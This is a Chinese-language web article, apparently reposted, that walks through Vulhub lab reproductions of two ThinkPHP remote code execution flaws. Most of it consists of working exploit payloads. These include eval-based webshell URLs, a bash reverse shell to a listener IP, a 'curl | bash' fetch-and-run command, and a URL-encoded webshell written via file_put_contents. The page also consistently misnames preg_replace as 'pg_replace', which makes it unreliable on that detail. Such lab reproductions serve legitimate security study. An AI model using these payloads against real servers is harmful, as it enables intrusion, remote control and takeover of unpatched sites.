专业汉语词典知识平台,分享汉字词语知识、历史文学知识解答!

励北网
励北网

thinkphp框架漏洞总结

来源:小易整编  作者:小易  发布时间:2023-03-07 11:35
摘要:ThinkPHP框架漏洞总结Thinkphp简介ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPH...

ThinkPHP框架漏洞总结

ThinkPHP框架漏洞总结

Vulhub-Thinkphp复现

Thinkphp 2.x 任意代码执行漏洞

漏洞简介

ThinkPHP 2.x版本中,使用pg_replace的/e模式匹配路由:

$res = pg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr, $paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

pg_replace这个函数使用方法如下:

pg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

关于/e的解释:

e 配合函数pg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式,此为PHP专有参数,例如pg_replace函数。

可以使用在线php沙箱测试php版本是否支持/e修饰符

沙箱地址:http://sandbox.onlinephpfunctions.com/

pg_replace这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了。

影响版本

ThinkPHP 2.x

漏洞复现

启动漏洞

sudo docker-compose up -d

ThinkPHP框架漏洞总结

ThinkPHP框架漏洞总结

验证漏洞

http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}或者http://192.168.9.234:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

ThinkPHP框架漏洞总结

构造poc

http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

ThinkPHP框架漏洞总结

caidao成功连接

ThinkPHP框架漏洞总结

这里对其进行抓包

ThinkPHP框架漏洞总结

ThinkPHP框架漏洞总结

1=system("id");

ThinkPHP框架漏洞总结

反弹shell

bash -i >& /dev/tcp/192.168.10.65/8888 0>&1python -m SimpleHTTPServer 80

ThinkPHP框架漏洞总结

ThinkPHP框架漏洞总结

创建好bash

1=system("curl 192.168.10.65/zcc.sh | bash");

成功上线。

安全防护

用户可下载官方发布的补丁:http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞

漏洞简介

ThinkPHP版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响版本

ThinkPHP 5.0.x < 5.0.23ThinkPHP 5.1.x < 5.1.31

漏洞复现

启动漏洞

验证漏洞

http://192.168.8.63:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

任意代码执行

http://192.168.8.63:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入webshell

<?php eval($_POST[zcc]);?>  #需要进行url编码

http://192.168.8.63:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

蚁剑成功连接。


本文地址:百科问答频道 https://www.neebe.cn/wenda/917751_2.html,易企推百科一个免费的知识分享平台,本站部分文章来网络分享,本着互联网分享的精神,如有涉及到您的权益,请联系我们删除,谢谢!


百科问答
小编:小易整编
相关文章相关阅读
  • 七大后台前端UI框架推荐

    七大后台前端UI框架推荐

    今天分享几个前端开发UI框架,这些框架可以帮助那些在小公司没有前端设计人员情况下,快速搭建应用系统界面,在业余时间也可以接私活,很方便搭建后台应用系统界面操作方法01JqueryeasyUI是基于J...

  • 编程框架是什么意思?

    编程框架是什么意思?

    编程框架是一种软件开发工具,它提供标准的、灵活的编程架构,帮助开发者更快的开发软件系统。它提供了一系列可以用于构建应用程序的组件,它们之间具有良好的耦合性,能够帮助应用程序达到最优状态。通常来说,编程框架会集成很多开发工具,如:语言、数据...

  • 网站框架是什么意思?

    网站框架是什么意思?

    网站框架是指一组基础架构,在其中可以构建、构建和发布网站。它将提供一个简单的代码库和编程例程,中间件和其他软件组件,如数据库,安全基础架构和表单控件等,以实现有效的业务逻辑。网站框架一般包括一个网页动态模板引擎,一个数据库存储过程,一个安...

  • 持久层框架是什么意思?

    持久层框架是什么意思?

    持久层框架是操作数据库所用到的一种技术,IBM通过该技术提出了数据库精英(DatabaseElite)结构。它有助于企业在架构上更好地集成企业资源,加强处理数据库的能力,以支持组织有效的数据库应用。这一概念演变为今天的数据库层,也被称为...

  • 谷歌服务框架是什么

    谷歌服务框架是什么

    Google服务框架全称GoogleMobileService。身为框架的GMS是用户想要体验整套Google服务不可绕开的一环,Google地图、Play商店等一系列的得应用都需要它的支持,否则就会无法打开或无法使用全部功能。Goo...

  • Laravel是什么框架

    Laravel是什么框架

    Laravel是一个由TaylorOtwell所建立,免费的开源PHPWeb框架,旨在实现的Web软件的MVC架构,并作为CodeIgniter的替代方案。其源代码托管于GitHub,许可条款为MIT许可证。Laravel是一个...

  • ptf是什么意思,ptf渗透测试器框架介绍

    ptf是什么意思,ptf渗透测试器框架介绍

    ptf是什么意思,ptf渗透测试器框架介绍PenTesters框架(PTF)是一个Python脚本,设计用于基于Debian/Ubuntu/ArchLinux的发行版,以创建类似且熟悉的渗透测试发行版。作为测试者,我们已经习惯了/pente...

  • mpvue是什么,详解基于Vue的开发框架mpvue

    mpvue是什么,详解基于Vue的开发框架mpvue

    mpvue是什么,详解基于Vue的开发框架mpvue接触微信小程序有一段时间的开发者或开发团队,我相信多多少少都会为自己搭建封装一些便于开发的框架/脚手架,尤其是一些做过Web开发的开发者,受到现如今Web主流开发框架如Angular,Re...

  • 周排行
  • 月排行
  • 年排行

精彩推荐